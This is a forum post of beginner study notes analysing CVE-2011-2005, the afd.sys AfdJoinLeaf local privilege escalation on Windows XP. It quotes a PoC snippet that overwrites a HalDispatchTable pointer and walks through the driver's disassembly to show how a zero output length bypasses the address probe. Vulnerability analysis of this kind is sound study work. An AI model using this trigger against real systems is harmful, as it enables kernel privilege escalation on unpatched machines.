首页
社区
课程
招聘
[原创]初学Windows内核漏洞之CVE-2011-2005
2021-11-2 21:08 10355

[原创]初学Windows内核漏洞之CVE-2011-2005

2021-11-2 21:08
10355

一.前言

初学Windows内核漏洞,选择了比较早的CVE-2011-2005 Windows Afd.sys本地提权漏洞来试着分析学习,作为学习笔记分享给大家。

系统环境Windows XP sp3 32位
调试工具IDA Pro, WinDbg

二.漏洞描述

在2011年的11月,微软补丁公告提到,Windows系统中的辅助功能驱动程序Afd.sys存在本地提权漏洞,影响Windows XP与Windows Server 2003系统。该漏洞主要是Microsoft Windows Ancillary Function Driver(afd.sys)驱动程序未对用户提交的数据进行完成地检查,导致存在本地提权漏洞,攻击者利用该漏洞可执行任意代码。

三.漏洞分析

1.POC代码分析

以下是POC中的部分代码

## Create our deviceiocontrol socket handle
client = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP,
                   None, 0, 0)
if client == ~0:
    raise OSError, "WSASocket: %s" % (WSAGetLastError(),)
try:
    addr = sockaddr_in()
    addr.sin_family = socket.AF_INET
    addr.sin_port = socket.htons(4455)
    addr.sin_addr = socket.htonl(0x7f000001) # 127.0.0.1
    ## We need to connect to a closed port, socket state must be CONNECTING
    connect(client, byref(addr), sizeof(addr))
except:
    closesocket(client)
    raise

## Trigger Pointer Overwrite
print "[*] Triggering AFDJoinLeaf pointer overwrite..."
IOCTL             = 0x000120bb                # AFDJoinLeaf
inputbuffer       = 0x1004
inputbuffer_size  = 0x108
outputbuffer_size = 0x0                       # Bypass Probe for Write
outputbuffer      = HalDispatchTable0x4 + 0x1 # HalDispatchTable+0x4+1
IoStatusBlock = c_ulong()
NTSTATUS = ntdll.ZwDeviceIoControlFile(client,
                                       None,
                                       None,
                                       None,
                                       byref(IoStatusBlock),
                                       IOCTL,
                                       inputbuffer,
                                       inputbuffer_size,
                                       outputbuffer,
                                       outputbuffer_size
                                       )

根据上面的部分代码可以得出下面的结论:

  1. 程序通过socket与驱动程序进行通信,IP地址为127.0.0.1,端口为4455

  2. 触发这个漏洞的IOCTL为0x00120BB

而IO控制码的计算是由CTL_CODE完成的,它是一个宏定义,在文档中的定义如下

#define CTL_CODE( DeviceType, Function, Method, Access ) (                 \
    ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) \
)

可以知道控制码最低的两位保存的是用户层和内核层的通信方式,而触发漏洞的控制码的低两位是11(0x3),根据文档中的如下定义可以知道,此次通信方式为METHOD_NEITHER

#define METHOD_BUFFERED                 0
#define METHOD_IN_DIRECT                1
#define METHOD_OUT_DIRECT               2
#define METHOD_NEITHER                  3

而第2位到第14位保存的是发送的操作码,1000 0010 1110(0x82E)

2.驱动程序分析

首先看看afd驱动在系统中装载情况:

kd> lm
start    end        module name
804d8000 806e6000   nt         (pdb symbols)          d:\xpsymbols\ntkrpamp.pdb\7075F995A48A414F8F7BE9A1E0240F821\ntkrpamp.pdb
806e6000 80706d00   hal        (deferred)             
b2345000 b2347a00   vmmemctl   (deferred)             
b2479000 b2490900   dump_atapi   (deferred)             
b24b9000 b24e9000   BAPIDRV    (deferred)             
b24e9000 b2558c80   mrxsmb     (deferred)             
b2581000 b25abe80   rdbss      (deferred)             
b25ac000 b25d2180   vmhgfs     (deferred)             
b25d3000 b25f4d00   afd        (deferred)             
b25f5000 b261cc00   netbt      (deferred)             
b261d000 b2675480   tcpip      (deferred)

可以看到,该驱动在内核地址0xB25D3000到0xB25F4D00。

再看看该驱动在分发函数的情况:

kd> !drvobj afd 2
Driver object (81a32558) is for:
 \Driver\AFD
DriverEntry:   b25f0f40	afd!GsDriverEntry
DriverStartIo: 00000000	
DriverUnload:  b25da4a9	afd!AfdUnload
AddDevice:     00000000	

Dispatch routines:
[00] IRP_MJ_CREATE                      b25ded50	afd!AfdDispatch
[01] IRP_MJ_CREATE_NAMED_PIPE           b25ded50	afd!AfdDispatch
[02] IRP_MJ_CLOSE                       b25ded50	afd!AfdDispatch
[03] IRP_MJ_READ                        b25ded50	afd!AfdDispatch
[04] IRP_MJ_WRITE                       b25ded50	afd!AfdDispatch
[05] IRP_MJ_QUERY_INFORMATION           b25ded50	afd!AfdDispatch
[06] IRP_MJ_SET_INFORMATION             b25ded50	afd!AfdDispatch
[07] IRP_MJ_QUERY_EA                    b25ded50	afd!AfdDispatch
[08] IRP_MJ_SET_EA                      b25ded50	afd!AfdDispatch
[09] IRP_MJ_FLUSH_BUFFERS               b25ded50	afd!AfdDispatch
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    b25ded50	afd!AfdDispatch
[0b] IRP_MJ_SET_VOLUME_INFORMATION      b25ded50	afd!AfdDispatch
[0c] IRP_MJ_DIRECTORY_CONTROL           b25ded50	afd!AfdDispatch
[0d] IRP_MJ_FILE_SYSTEM_CONTROL         b25ded50	afd!AfdDispatch
[0e] IRP_MJ_DEVICE_CONTROL              b25de290	afd!AfdDispatchDeviceControl
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     b25ded50	afd!AfdDispatch
[10] IRP_MJ_SHUTDOWN                    b25ded50	afd!AfdDispatch
[11] IRP_MJ_LOCK_CONTROL                b25ded50	afd!AfdDispatch
[12] IRP_MJ_CLEANUP                     b25ded50	afd!AfdDispatch
[13] IRP_MJ_CREATE_MAILSLOT             b25ded50	afd!AfdDispatch
[14] IRP_MJ_QUERY_SECURITY              b25ded50	afd!AfdDispatch
[15] IRP_MJ_SET_SECURITY                b25ded50	afd!AfdDispatch
[16] IRP_MJ_POWER                       b25ded50	afd!AfdDispatch
[17] IRP_MJ_SYSTEM_CONTROL              b25ded50	afd!AfdDispatch
[18] IRP_MJ_DEVICE_CHANGE               b25ded50	afd!AfdDispatch
[19] IRP_MJ_QUERY_QUOTA                 b25ded50	afd!AfdDispatch
[1a] IRP_MJ_SET_QUOTA                   b25ded50	afd!AfdDispatch
[1b] IRP_MJ_PNP                         b25ded50	afd!AfdDispatch

Fast I/O routines:
FastIoRead                              b25da1d9	afd!AfdFastIoRead
FastIoWrite                             b25da2b8	afd!AfdFastIoWrite
FastIoUnlockAll                         b25dd408	afd!AfdSanFastUnlockAll
FastIoDeviceControl                     b25d5810	afd!AfdFastIoDeviceControl

可以看到IRP_MJ_DEVICE_CONTROL对应的分发函数是AfdDispatchDeviceControl,函数地址是0xB25DE290。那么接下来就可以在IDA中定位到这个分分发函数。

而要真正理解这个分发函数,需要了解以下的数据结构

首先是_IRP结构,该结构在WinDbg中查看可以得到如下结果

kd> dt -v -r 3 _IRP
nt!_IRP
struct _IRP, 21 elements, 0x70 bytes
   +0x000 Type             : ??
   +0x002 Size             : ??
   +0x004 MdlAddress       : ???? 
   +0x008 Flags            : ??
   +0x00c AssociatedIrp    : union __unnamed, 3 elements, 0x4 bytes
      +0x000 MasterIrp        : ???? 
      +0x000 IrpCount         : ??
      +0x000 SystemBuffer     : ???? 
   +0x010 ThreadListEntry  : struct _LIST_ENTRY, 2 elements, 0x8 bytes
      +0x000 Flink            : ???? 
      +0x004 Blink            : ???? 
   +0x018 IoStatus         : struct _IO_STATUS_BLOCK, 3 elements, 0x8 bytes
      +0x000 Status           : ??
      +0x000 Pointer          : ???? 
      +0x004 Information      : ??
   +0x020 RequestorMode    : ??
   +0x021 PendingReturned  : ??
   +0x022 StackCount       : ??
   +0x023 CurrentLocation  : ??
   +0x024 Cancel           : ??
   +0x025 CancelIrql       : ??
   +0x026 ApcEnvironment   : ??
   +0x027 AllocationFlags  : ??
   +0x028 UserIosb         : ???? 
   +0x02c UserEvent        : ???? 
   +0x030 Overlay          : union __unnamed, 2 elements, 0x8 bytes
      +0x000 AsynchronousParameters : struct __unnamed, 2 elements, 0x8 bytes
         +0x000 UserApcRoutine   : ???? 
         +0x004 UserApcContext   : ???? 
      +0x000 AllocationSize   : union _LARGE_INTEGER, 4 elements, 0x8 bytes
         +0x000 LowPart          : ??
         +0x004 HighPart         : ??
         +0x000 u                : struct __unnamed, 2 elements, 0x8 bytes
         +0x000 QuadPart         : ??
   +0x038 CancelRoutine    : ???? 
   +0x03c UserBuffer       : ???? 
   +0x040 Tail             : union __unnamed, 3 elements, 0x30 bytes
      +0x000 Overlay          : struct __unnamed, 8 elements, 0x28 bytes
         +0x000 DeviceQueueEntry : struct _KDEVICE_QUEUE_ENTRY, 3 elements, 0x10 bytes
         +0x000 DriverContext    : [4] ???? 
         +0x010 Thread           : ???? 
         +0x014 AuxiliaryBuffer  : ???? 
         +0x018 ListEntry        : struct _LIST_ENTRY, 2 elements, 0x8 bytes
         +0x020 CurrentStackLocation : PIO_STACK_LOCATION
         +0x020 PacketType       : ??
         +0x024 OriginalFileObject : ???? 
      +0x000 Apc              : struct _KAPC, 14 elements, 0x30 bytes
         +0x000 Type             : ??
         +0x002 Size             : ??
         +0x004 Spare0           : ??
         +0x008 Thread           : ???? 
         +0x00c ApcListEntry     : struct _LIST_ENTRY, 2 elements, 0x8 bytes
         +0x014 KernelRoutine    : ???? 
         +0x018 RundownRoutine   : ???? 
         +0x01c NormalRoutine    : ???? 
         +0x020 NormalContext    : ???? 
         +0x024 SystemArgument1  : ???? 
         +0x028 SystemArgument2  : ???? 
         +0x02c ApcStateIndex    : ??
         +0x02d ApcMode          : ??
         +0x02e Inserted         : ??
      +0x000 CompletionKey    : ????

这里需要注意的是偏移0x60的CurrentStackLocation,保存的是_IO_STACK_LOCATION的指针,代表了当前设备的I/O栈。

而_IO_STACK_LOCATION的部分结构体成员如下

kd> dt -v -r 2 _IO_STACK_LOCATION
nt!_IO_STACK_LOCATION
struct _IO_STACK_LOCATION, 9 elements, 0x24 bytes
   +0x000 MajorFunction    : ??
   +0x001 MinorFunction    : ??
   +0x002 Flags            : ??
   +0x003 Control          : ??
   +0x004 Parameters       : union __unnamed, 38 elements, 0x10 bytes
      +0x000 DeviceIoControl  : struct __unnamed, 4 elements, 0x10 bytes
          +0x000 OutputBufferLength : ULONG
          +0x004 InputBufferLength : ULONG
          +0x008 IoControlCode    : ULONG
          +0x00c Type3InputBuffer : PVOID 
   +0x014 DeviceObject     : ???? 
   +0x018 FileObject       : ???? 
   +0x01c CompletionRoutine : ???? 
   +0x020 Context          : ????

在这个结构体中要关注的是偏移为0x04的Parameters,它保存的是一个联合体,其中的一个是DeviceIoControl。DeviceIoControl中又保存了4个成员,这4个成员的含义如下

在_IO_STACK_LOCATION中的偏移成员含义
0x04OutputBufferLength输出缓冲区的长度
0x08InputBufferLength输入缓冲区长度
0x0CIoControlCodeIOCTL
0x10Type3InputBuffer输入缓冲区地址

有了上面的基础应该就可以理解AfdDispatchDeviceControl的反汇编代码,

PAGEAFD:0001B290 ; __stdcall AfdDispatchDeviceControl(x, x)
PAGEAFD:0001B290 _AfdDispatchDeviceControl@8 proc near   ; CODE XREF: AfdDispatch(x,x)+2B1↓p
PAGEAFD:0001B290                                         ; DATA XREF: DriverEntry(x,x)+21A↓o
PAGEAFD:0001B290
PAGEAFD:0001B290 arg_4           = dword ptr  0Ch
PAGEAFD:0001B290
PAGEAFD:0001B290                 mov     edi, edi
PAGEAFD:0001B292                 push    ebp
PAGEAFD:0001B293                 mov     ebp, esp
PAGEAFD:0001B295                 mov     ecx, [ebp+arg_4] ; 取出pIrp赋给ecx
PAGEAFD:0001B298                 mov     edx, [ecx+60h]  ; 取出CurrentStackLocation赋给edx
PAGEAFD:0001B29B                 push    esi
PAGEAFD:0001B29C                 push    edi
PAGEAFD:0001B29D                 mov     edi, [edx+0Ch]  ; 取出IoControlCode赋给edi
PAGEAFD:0001B2A0                 mov     eax, edi        ; 将IOCTL赋值给eax
PAGEAFD:0001B2A2                 shr     eax, 2          ; 将eax右移两位
PAGEAFD:0001B2A5                 and     eax, 3FFh       ; 只保留eax的第0位到第9位的数
PAGEAFD:0001B2AA                 cmp     eax, 46h
PAGEAFD:0001B2AD                 jnb     loc_21BF3
PAGEAFD:0001B2B3                 mov     esi, eax        ; 将eax赋值esi
PAGEAFD:0001B2B5                 shl     esi, 2          ; esi左移两位,也就是乘4,得出整型数组偏移
PAGEAFD:0001B2B8                 cmp     _AfdIoctlTable[esi], edi
PAGEAFD:0001B2BE                 jnz     loc_21BF3
PAGEAFD:0001B2C4                 mov     [edx+1], al
PAGEAFD:0001B2C7                 mov     esi, _AfdIrpCallDispatch[esi] ; 从_AfdIrpCallDispatch中取出要调用的函数地址赋给esi
PAGEAFD:0001B2CD                 test    esi, esi
PAGEAFD:0001B2CF                 jz      loc_21BF3
PAGEAFD:0001B2D5                 call    esi             ; 对函数进行调用
PAGEAFD:0001B2D7
PAGEAFD:0001B2D7 loc_1B2D7:                              ; CODE XREF: PAGEAFD:00021C09↓j
PAGEAFD:0001B2D7                 pop     edi
PAGEAFD:0001B2D8                 pop     esi
PAGEAFD:0001B2D9                 pop     ebp
PAGEAFD:0001B2DA                 retn    8
PAGEAFD:0001B2DA _AfdDispatchDeviceControl@8 endp

这段代码就是取出IOCTL并计算保留了低9位的控制码。由于POC给出的操作码是(0x82E),所以这里得到的是0x2E,这个数字就作为索引去整型数组_AfdIrpCalldispatch中取出要执行的函数的地址。

根据偏移可以算出这个函数是AfdJoinLeaf,所以产生漏洞的函数就是这个函数。

.data:000121B8 _AfdIrpCallDispatch dd offset @AfdBind@8
.data:000121B8                                         ; DATA XREF: AfdDispatchDeviceControl(x,x)+37↓r
.data:000121B8                                         ; AfdBind(x,x)
.data:000121BC                 dd offset @AfdConnect@8 ; AfdConnect(x,x)
		.....
.data:00012268                 dd offset @AfdDispatchImmediateIrp@8 ; AfdDispatchImmediateIrp(x,x)
.data:0001226C                 dd offset @AfdAddressListChange@8 ; AfdAddressListChange(x,x)
.data:00012270                 dd offset @AfdJoinLeaf@8

继续跟进这个函数查看漏洞成因,但要注意此时的edx保存的依然是CurrStackLocation,ecx保存的是IRP的指针,即pIrp。

PAGE:00016C9D ; __fastcall AfdJoinLeaf(x, x)
PAGE:00016C9D @AfdJoinLeaf@8  proc near               ; DATA XREF: .data:00012270↑o
PAGE:00016C9D
PAGE:00016C9D var_58          = dword ptr -58h
PAGE:00016C9D var_54          = dword ptr -54h
PAGE:00016C9D Object          = dword ptr -50h
PAGE:00016C9D Handle          = dword ptr -4Ch
PAGE:00016C9D AccessMode      = byte ptr -48h
PAGE:00016C9D var_44          = dword ptr -44h
PAGE:00016C9D var_40          = dword ptr -40h
PAGE:00016C9D var_3C          = dword ptr -3Ch
PAGE:00016C9D var_38          = dword ptr -38h
PAGE:00016C9D var_34          = dword ptr -34h
PAGE:00016C9D var_30          = dword ptr -30h
PAGE:00016C9D var_2C          = dword ptr -2Ch
PAGE:00016C9D P               = dword ptr -28h
PAGE:00016C9D var_pIrp        = dword ptr -24h
PAGE:00016C9D var_20          = dword ptr -20h
PAGE:00016C9D var_1C          = dword ptr -1Ch
PAGE:00016C9D ms_exc          = CPPEH_RECORD ptr -18h
PAGE:00016C9D
PAGE:00016C9D ; __unwind { // __SEH_prolog
PAGE:00016C9D                 push    48h
PAGE:00016C9F                 push    offset stru_11668
PAGE:00016CA4                 call    __SEH_prolog
PAGE:00016CA9                 mov     ebx, edx        ; 将edx赋给ebx
PAGE:00016CAB                 mov     [ebp+var_pIrp], ecx ; 将pIrp保存到局部变量中
PAGE:00016CAE                 xor     esi, esi        ; esi清0
PAGE:00016CB0                 mov     [ebp+var_20], esi
PAGE:00016CB3                 mov     [ebp+var_AllocateMemory], esi
PAGE:00016CB6                 mov     eax, [ebx+_IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength]
PAGE:00016CB9                 cmp     eax, 18h
PAGE:00016CBC                 jb      loc_1716E       ; 小于0x18则跳转
PAGE:00016CC2                 mov     edx, [ebx+_IO_STACK_LOCATION.Parameters.DeviceIoControl.OutputBufferLength]
PAGE:00016CC5                 cmp     edx, esi
PAGE:00016CC7                 jz      short loc_16CD2 ; 等于0x0则跳转
PAGE:00016CC9                 cmp     edx, 8
PAGE:00016CCC                 jb      loc_1716E       ; 小于0x8则跳转

函数最开始就对输入缓冲区和输出缓冲区进行判断,如果输入缓冲区的长度小于0x18或者输出缓冲区的长度大于0小于0x8,就会跳转到loc_1716E处,而这个地方的代码是函数执行失败以后的退出代码,如下

PAGE:0001716E loc_1716E:                              ; CODE XREF: AfdJoinLeaf(x,x)+1F↑j
PAGE:0001716E                                         ; AfdJoinLeaf(x,x)+2F↑j
PAGE:0001716E                 mov     [ebp+var_1C], STATUS_INVALID_PARAMETER ; 返回值表明函数执行失败
PAGE:00017175
PAGE:00017175 loc_17175:                              ; CODE XREF: AfdJoinLeaf(x,x)+4CF↑j
PAGE:00017175                 mov     edi, [ebp+var_pIrp]
PAGE:00017178
PAGE:00017178 loc_17178:                              ; CODE XREF: AfdJoinLeaf(x,x)+171↑j
PAGE:00017178                                         ; AfdJoinLeaf(x,x)+434↑j
PAGE:00017178                 xor     esi, esi
PAGE:0001717A                 cmp     [ebp+P], esi
PAGE:0001717D                 jz      short loc_17190
PAGE:0001717F                 push    0C9646641h      ; Tag
PAGE:00017184                 push    [ebp+P]         ; P
PAGE:00017187                 call    ds:__imp__ExFreePoolWithTag@8 ; ExFreePoolWithTag(x,x)
PAGE:0001718D                 mov     [edi+0Ch], esi
PAGE:00017190
PAGE:00017190 loc_17190:                              ; CODE XREF: AfdJoinLeaf(x,x)+4E0↑j
PAGE:00017190                 mov     eax, [ebp+var_20]
PAGE:00017193                 cmp     eax, esi
PAGE:00017195                 jz      short loc_171AB
PAGE:00017197                 add     eax, 20h
PAGE:0001719A                 or      ecx, 0FFFFFFFFh
PAGE:0001719D                 lock xadd [eax], ecx
PAGE:000171A1                 jnz     short loc_171AB
PAGE:000171A3                 push    [ebp+var_20]
PAGE:000171A6                 call    _AfdCloseConnection@4 ; AfdCloseConnection(x)
PAGE:000171AB
PAGE:000171AB loc_171AB:                              ; CODE XREF: AfdJoinLeaf(x,x)+4F8↑j
PAGE:000171AB                                         ; AfdJoinLeaf(x,x)+504↑j
PAGE:000171AB                 mov     [edi+1Ch], esi
PAGE:000171AE                 mov     eax, [ebp+var_1C]
PAGE:000171B1                 mov     [edi+18h], eax
PAGE:000171B4                 mov     dl, _AfdPriorityBoost
PAGE:000171BA                 mov     ecx, edi
PAGE:000171BC                 call    ds:__imp_@IofCompleteRequest@8 ; IofCompleteRequest(x,x)
PAGE:000171C2                 mov     eax, [ebp+var_1C]
PAGE:000171C5
PAGE:000171C5 loc_171C5:                              ; CODE XREF: AfdJoinLeaf(x,x)+394↑j
PAGE:000171C5                                         ; AfdJoinLeaf(x,x)+493↑j
PAGE:000171C5                 call    __SEH_epilog
PAGE:000171CA                 retn
PAGE:000171CA ; } // starts at 16C9D
PAGE:000171CA @AfdJoinLeaf@8  endp

那么接着看函数正常执行,也就是loc_16CD2的代码,这段代码主要做的就是对输入缓冲区进行检查。如果地址非法,程序就会抛出异常

PAGE:00016CD2 loc_16CD2:                              ; CODE XREF: AfdJoinLeaf(x,x)+2A↑j
PAGE:00016CD2 ;   __try { // __except at loc_17165
PAGE:00016CD2                 mov     [ebp+ms_exc.disabled], esi
PAGE:00016CD5                 cmp     [ecx+IRP.RequestorMode], 0
PAGE:00016CD9                 jz      short loc_16D06
PAGE:00016CDB                 cmp     eax, esi
PAGE:00016CDD                 jz      short loc_16D06
PAGE:00016CDF                 test    byte ptr [ebx+_IO_STACK_LOCATION.Parameters.DeviceIoControl.Type3InputBuffer], 3
PAGE:00016CE3                 jz      short loc_16CEB
PAGE:00016CE5                 call    ds:__imp__ExRaiseDatatypeMisalignment@0 ; ExRaiseDatatypeMisalignment()
PAGE:00016CEB loc_16CEB:                              ; CODE XREF: AfdJoinLeaf(x,x)+46↑j
PAGE:00016CEB                 mov     eax, [ebx+_IO_STACK_LOCATION.Parameters.DeviceIoControl.Type3InputBuffer]
PAGE:00016CEE                 mov     ecx, [ebx+_IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength]
PAGE:00016CF1                 add     ecx, eax        ; 获得输入缓冲区的结束地址
PAGE:00016CF3                 cmp     ecx, eax
PAGE:00016CF5                 jb      short loc_16D00 ; 判断结束地址是否小于开始地址,是的话异常
PAGE:00016CF7                 mov     eax, ds:__imp__MmUserProbeAddress
PAGE:00016CFC                 cmp     ecx, [eax]      ; 判断输入缓冲区的地址是否正常,否则抛异常
PAGE:00016CFE                 jbe     short loc_16D06
PAGE:00016D00
PAGE:00016D00 loc_16D00:                              ; CODE XREF: AfdJoinLeaf(x,x)+58↑j
PAGE:00016D00                 call    ds:__imp__ExRaiseAccessViolation@0 ; ExRaiseAccessViolation()

接下来的代码就是对局部变量进行赋值。这里需要注意的是

  1. Handle变量,它的值是输入缓冲区偏移为0x8的地址中的内容

  2. InputBufferLength变量,保存了输入缓冲区的长度

  3. esi保存了输入缓冲区0x0C偏移的地址

PAGE:00016D06 loc_16D06:                              ; CODE XREF: AfdJoinLeaf(x,x)+3C↑j
PAGE:00016D06                                         ; AfdJoinLeaf(x,x)+40↑j ...
PAGE:00016D06                 mov     eax, [ebx+_IO_STACK_LOCATION.Parameters.DeviceIoControl.Type3InputBuffer]
PAGE:00016D09                 mov     ecx, [eax+8]
PAGE:00016D0C                 mov     [ebp+Handle], ecx ; 将缓冲区偏移0x8的内容赋值到句柄变量Handle中,这里需要记得后面要用
PAGE:00016D0F                 mov     ecx, [eax+4]
PAGE:00016D12                 mov     [ebp+var_38], ecx
PAGE:00016D15                 lea     esi, [eax+0Ch]  ; 将输入缓冲区偏移0x0C的地址赋给esi
PAGE:00016D18                 mov     [ebp+var_58], esi
PAGE:00016D1B                 mov     eax, [ebx+_IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength]
PAGE:00016D1E                 sub     eax, 0Ch        ; 获取输入缓冲区的长度-0x0C的大小
PAGE:00016D21                 mov     [ebp+var_InputBufferLength], eax

然后程序就申请了一块内存,这块内存的大小是0x30加上输入缓冲区的长度-0x0C的大小。注意此时eax在上面有减去0xC的大小。随后程序就将申请到的内存的前0x30的大小初始化为0,在把输入缓冲区0x0C开始的内容复制到申请的内存偏移0x30的地址开始处。

PAGE:00016D21 ;   } // starts at 16CD2
PAGE:00016D24                 or      [ebp+ms_exc.disabled], 0FFFFFFFFh
PAGE:00016D28 ;   __try { // __except at loc_1714C
PAGE:00016D28                 mov     [ebp+ms_exc.disabled], 1
PAGE:00016D2F                 push    0C9646641h      ; Tag
PAGE:00016D34                 add     eax, 30h        ; 将输入缓冲区的长度加0x30
PAGE:00016D37                 push    eax             ; NumberOfBytes
PAGE:00016D38                 push    10h             ; PoolType
PAGE:00016D3A                 call    ds:__imp__ExAllocatePoolWithQuotaTag@12 ; ExAllocatePoolWithQuotaTag(x,x,x)
PAGE:00016D40                 mov     edx, eax        ; 申请得到的地址赋给edx
PAGE:00016D42                 mov     [ebp+var_AllocateMemory], edx ; 将地址保存在局部变量中
PAGE:00016D45                 mov     eax, [ebp+var_pIrp]
PAGE:00016D48                 mov     [eax+_IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode], edx
PAGE:00016D4B                 push    0Ch
PAGE:00016D4D                 pop     ecx
PAGE:00016D4E                 xor     eax, eax
PAGE:00016D50                 mov     edi, edx
PAGE:00016D52                 rep stosd               ; 对申请的前0x30字节的数据初始化为0
PAGE:00016D54                 lea     eax, [edx+30h]  ; 得到edx+0x30处的地址
PAGE:00016D57                 mov     ecx, [ebp+var_InputBufferLength] ; 获取输入缓冲区的长度,不过这个时候的长度已经减掉了0x0C
PAGE:00016D5A                 mov     edi, eax
PAGE:00016D5C                 mov     edx, ecx        ; 将长度复制到edx中
PAGE:00016D5E                 shr     ecx, 2
PAGE:00016D61                 rep movsd
PAGE:00016D63                 mov     ecx, edx        ; 由于esi保存输入缓冲区偏移0x0C的地址
PAGE:00016D65                 and     ecx, 3          ; edi保存申请的内存偏移0x30的地址
PAGE:00016D68                 rep movsb               ; 所以这段代码是把输入缓冲区偏移0x0C的内容复制到申请的内存偏移0x30的

接着函数判断eax中保存的内容是否等于1,不等于1则抛出异常。因为这个时候eax保存的是edx+0x30,也就是申请的内存地址偏移0x30处的地址。所以eax中保存的内容是输入缓冲区偏移0x0C处的内容,那这里就是判断输入缓冲区偏移0x0C保存的是否是1。

随后在判断edx是否大于等于eax,不是的话继续向下执行抛出异常。而这里的ecx的值是上面输入缓冲区长度减去0xC,而edx经过分析则是输入缓冲区偏移0x10处保存的内容在加8的值。也就是说输入缓冲区的长度减去0xC要大于等于输入缓冲区偏移0x10处保存的内容加8。

PAGE:00016D6A                 cmp     dword ptr [eax], 1
PAGE:00016D6D                 jnz     short loc_16D7D ; 不等于1则抛出异常
PAGE:00016D6F                 mov     eax, [ebp+var_AllocateMemory] ; 得到申请的内存的地址
PAGE:00016D72                 movzx   eax, word ptr [eax+34h] ; 偏移0x34的地方,保存的是输入缓冲区偏移0xC+0x4=0x10的内容
PAGE:00016D76                 add     eax, 8          ; 将内容加8
PAGE:00016D79                 cmp     edx, eax
PAGE:00016D7B                 jge     short loc_16D88
PAGE:00016D7D
PAGE:00016D7D loc_16D7D:                              ; CODE XREF: AfdJoinLeaf(x,x)+D0↑j
PAGE:00016D7D                 push    STATUS_INVALID_PARAMETER ; Status
PAGE:00016D82                 call    ds:__imp__ExRaiseStatus@4 ; ExRaiseStatus(x)

接下去的内容就是该产生该漏洞的内容。在这段代码中,程序首先会判断输出缓冲区的长度是否为0,为0的话则跳转到loc_16DC5继续执行。如果不为0,程序才会接着对UserBuffer的地址进行合法性检查。

PAGE:00016D88 loc_16D88:                              ; CODE XREF: AfdJoinLeaf(x,x)+DE↑j
PAGE:00016D88                 mov     eax, [ebp+var_AllocateMemory]
PAGE:00016D8B                 lea     ecx, [eax+30h]
PAGE:00016D8E                 mov     [eax+14h], ecx
PAGE:00016D91                 mov     ecx, [ebp+var_InputBufferLength]
PAGE:00016D94                 mov     [eax+10h], ecx
PAGE:00016D97                 mov     edi, [ebp+var_pIrp]
PAGE:00016D9A                 cmp     [ebx+_IO_STACK_LOCATION.Parameters.DeviceIoControl.OutputBufferLength], 0
PAGE:00016D9E                 jbe     short loc_16DC5 ; 小于等于则跳转
PAGE:00016DA0                 cmp     [edi+IRP.RequestorMode], 1
PAGE:00016DA4                 jnz     short loc_16DC5
PAGE:00016DA6                 mov     eax, ds:__imp__MmUserProbeAddress
PAGE:00016DAB                 mov     eax, [eax]
PAGE:00016DAD                 cmp     [edi+IRP.UserBuffer], eax
PAGE:00016DB0                 jb      short loc_16DB8 ; 判断UserBuffer的地址是否合法
PAGE:00016DB2                 mov     dword ptr [eax], 0 ; 不合法就使用向不合法的地址写入数据的方式触发异常
PAGE:00016DB8
PAGE:00016DB8 loc_16DB8:                              ; CODE XREF: AfdJoinLeaf(x,x)+113↑j
PAGE:00016DB8                 mov     eax, [edi+IRP.UserBuffer]
PAGE:00016DBB                 mov     ecx, [eax]
PAGE:00016DBD                 mov     [eax], ecx
PAGE:00016DBF                 mov     ecx, [eax+4]
PAGE:00016DC2                 mov     [eax+4], ecx    ; 对UserBuffer进行读写检查

接着程序会调用ObReferenceObjectByHandle,而这个Handle参数在前面被赋值为输入缓冲区+0x8的内容。由此可知,输入缓冲区+0x8的地址中的内容不可以为空。以及,此时要记得esi保存的是FsContext,而FsContext保存的是套接字的状态。

PAGE:00016DC5                 or      [ebp+ms_exc.disabled], 0FFFFFFFFh
PAGE:00016DC9                 mov     eax, [ebx+_IO_STACK_LOCATION.FileObject]
PAGE:00016DCC                 mov     [ebp+var_FileObject], eax
PAGE:00016DCF                 mov     esi, [eax+FILE_OBJECT.FsContext]
PAGE:00016DD2                 cmp     word ptr [esi], 0AAFDh
PAGE:00016DD7                 jnz     short loc_16E27
PAGE:00016DD9                 mov     al, [edi+IRP.RequestorMode]
PAGE:00016DDC                 mov     [ebp+AccessMode], al
PAGE:00016DDF                 mov     eax, ds:_IoFileObjectType
PAGE:00016DE4                 mov     ecx, [eax]
PAGE:00016DE6                 mov     eax, [ebx+_IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode]
PAGE:00016DE9                 shr     eax, 0Eh
PAGE:00016DEC                 and     eax, 3          ; 这一段在计算IOCTL的Access
PAGE:00016DEF                 push    0               ; HandleInformation
PAGE:00016DF1                 lea     edx, [ebp+Object]
PAGE:00016DF4                 push    edx             ; Object
PAGE:00016DF5                 push    dword ptr [ebp+AccessMode] ; AccessMode
PAGE:00016DF8                 push    ecx             ; ObjectType
PAGE:00016DF9                 push    eax             ; DesiredAccess
PAGE:00016DFA                 push    [ebp+Handle]    ; Handle
PAGE:00016DFD                 call    ds:__imp__ObReferenceObjectByHandle@24 ; ObReferenceObjectByHandle(x,x,x,x,x,x)
PAGE:00016E03                 mov     ecx, [ebp+Object]
PAGE:00016E06                 mov     [ebp+var_FileObject], ecx
PAGE:00016E09                 mov     [ebp+var_1C], eax
PAGE:00016E0C                 test    eax, eax
PAGE:00016E0E                 jl      loc_17178
PAGE:00016E14                 mov     eax, [ecx+FILE_OBJECT.DeviceObject]
PAGE:00016E17                 cmp     eax, _AfdDeviceObject
PAGE:00016E1D                 jnz     short loc_16E9C
PAGE:00016E1F                 mov     esi, [ecx+FILE_OBJECT.FsContext] ; 将FsContext赋给esi
PAGE:00016E22                 mov     [ebx+_IO_STACK_LOCATION.FileObject], ecx
PAGE:00016E25                 jmp     short loc_16E30

在后面程序就会对套接字的状态进行检查,如果不是CONNECTING状态,则会触发异常。

PAGE:00017076                 cmp     byte ptr [esi+2], 2 ; 套接字的状态是否为CONNECTING(0x2)
PAGE:0001707A                 jz      short loc_17085
PAGE:0001707C                 mov     [ebp+var_1C], STATUS_INVALID_PARAMETER
PAGE:00017083                 jmp     short loc_170C2
PAGE:00017085 ; ---------------------------------------------------------------------------
